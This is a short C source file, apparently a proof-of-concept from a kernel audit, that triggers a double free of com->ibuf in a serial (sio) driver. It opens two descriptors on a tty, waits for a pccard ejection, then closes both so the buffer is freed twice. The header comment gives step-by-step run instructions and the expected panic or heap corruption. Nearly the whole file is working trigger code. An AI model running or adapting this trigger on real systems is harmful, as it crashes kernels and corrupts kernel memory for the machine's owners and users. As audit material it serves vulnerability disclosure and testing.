DF-3902 / df3902_trigger.c
/* * DF-3902 trigger: deterministic double-free of com->ibuf via repeated * sioclose() on the gone path (needs pccard sio + ejection to set com->gone). * * RUN BEFORE EJECT: ./df3902_trigger open /dev/ttyd3 * EJECT THE CARD (or modunload the pccard controller). * Then press ENTER in each window (or let timeout fire) -> two sioclose() * calls -> second kfree(com->ibuf) at sio.c:1479 = double free * ("duplicate free of 9e...." panic from malloc or silent heap corruption). * * On a normal (non-gone) sio unit, this program is a harmless double * open/close and verifies the healthy close path — which is exactly what * we ran on the audit guest's sio0 console (no panic, clean close x2). */ #include <fcntl.h> #include <stdio.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <stdlib.h> int main(int argc, char **argv) { const char *dev = argc > 1 ? argv[1] : "/dev/ttyd0"; int fd1, fd2; fd1 = open(dev, O_RDWR | O_NONBLOCK | O_NOCTTY); fd2 = open(dev, O_RDWR | O_NONBLOCK | O_NOCTTY); if (fd1 < 0 || fd2 < 0) { printf("open failed: %s\n", strerror(errno)); return 1; } printf("two fds open on %s; pid=%d\n", dev, (int)getpid()); if (argc > 2 && strcmp(argv[2], "open") == 0) { printf("holding open... eject the pccard now, then press ENTER twice " "(or wait for the terminal to close both)\n"); getchar(); } close(fd1); printf("fd1 closed (first sioclose)\n"); close(fd2); printf("fd2 closed (second sioclose -> double free when com->gone)\n"); return 0; } |